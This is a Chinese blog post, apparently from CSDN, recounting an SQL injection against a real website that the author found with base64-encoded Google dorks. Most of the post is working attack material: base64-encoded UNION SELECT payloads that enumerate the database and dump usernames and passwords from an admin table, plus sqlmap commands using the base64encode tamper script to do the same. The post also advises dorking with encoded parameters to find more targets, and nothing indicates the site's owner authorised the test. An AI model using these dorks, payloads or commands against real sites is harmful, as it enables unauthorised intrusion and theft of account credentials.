记一次SQL注入

记一次SQL注入

我们都知道sql注入的传参有些是明文的,有些是经过编码或者加密的,所以我们搜索的时候不要仅限于inurl:.php?id=1,可以额外的尝试搜搜1的base64编码值MQ==,即可以搜索inurl:.php?id=MQ==,或者搜索1的md5加密值,即可以搜索inrul:.php?id=a0b923820dcc509a。这样子搜索完,我们可测试的范围就扩大了。此处我就是利用inurl:.php?id=MQ==搜索到了一处存在sql注入的网站。
图片

二、开始sql注入常规流程

(1)判断字符型还是数字型

?id=MQ==        (原始值为1)?id=MeKAmQ==    (原始值为1')

图片
图片
从这两者的反应可以判断出是数字型。
(2)判断是否存在sql注入漏洞

?id=MSBhbmQgMT0x        (原始值1 and 1=1)

图片

可以判断出存在sql注入。
(3)判断列数

?id=MSBvcmRlciBieSAz    (原始值1 order by 3)?id=MSBvcmRlciBieSA0    (原始值1 order by 4)

图片
图片
列数为3。
(4)判断显错位。

?id=LTEgdW5pb24gc2VsZWN0IDEsMiwz        (原始值-1 union select 1,2,3)

图片
显错位为2和3。
(5)获取当前数据库

?id=LTEgdW5pb24gc2VsZWN0IDEsZGF0YWJhc2UoKSwz        (原始值-1 union select 1,database(),3)

图片
(6)获取当前数据库中的表

id=LTEgdW5pb24gc2VsZWN0IDEsZ3JvdXBfY29uY2F0KHRhYmxlX25hbWUpLDMgZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEudGFibGVzIHdoZXJlIHRhYmxlX3NjaGVtYT1kYXRhYmFzZSgp

图片
(7)获取其中admin表的字段值。

id=LTEgdW5pb24gc2VsZWN0IDEsZ3JvdXBfY29uY2F0KGNvbHVtbl9uYW1lKSwzIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLmNvbHVtbnMgd2hlcmUgdGFibGVfc2NoZW1hPWRhdGFiYXNlKCkgYW5kIHRhYmxlX25hbWU9ImFkbWluIg==

图片
(8)获取对应的值。

id=LTEgdW5pb24gc2VsZWN0IDEsZ3JvdXBfY29uY2F0KHVzZXJfaWQpLGdyb3VwX2NvbmNhdChwYXNzd29yZCkgZnJvbSBhZG1pbg==

图片

三、sqlmap验证

由于传参是需要进行base64编码的,所以在使用sqlmap的时候需要用到tamper脚本中的base64encode.py脚本,只需要在常规的语句中机上—tamper base64encode.py即可。

python sqlmap.py -u xxxxxx?id=MQ== --tamper base64encode.py --dbs

图片

python sqlmap.py -u xxxxx?id=MQ== --tamper base64encode.py -D knotwebdb --tables

图片

python sqlmap.py -u xxxx?id=MQ== --tamper base64encode.py -D knotwebdb -T admin --columns

图片

python sqlmap.py -u xxxxx?id=MQ== --tamper base64encode.py -D knotwebdb -T admin -C "user_id,password" --dump

图片

SQl注入常见方式

https://mp.weixin.qq.com/s/61PGbjpEmknR-Ad09uRz0g

总结:测试sql注入的时候不要只局限于明文传输,也要注意编码或者加密后的值。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值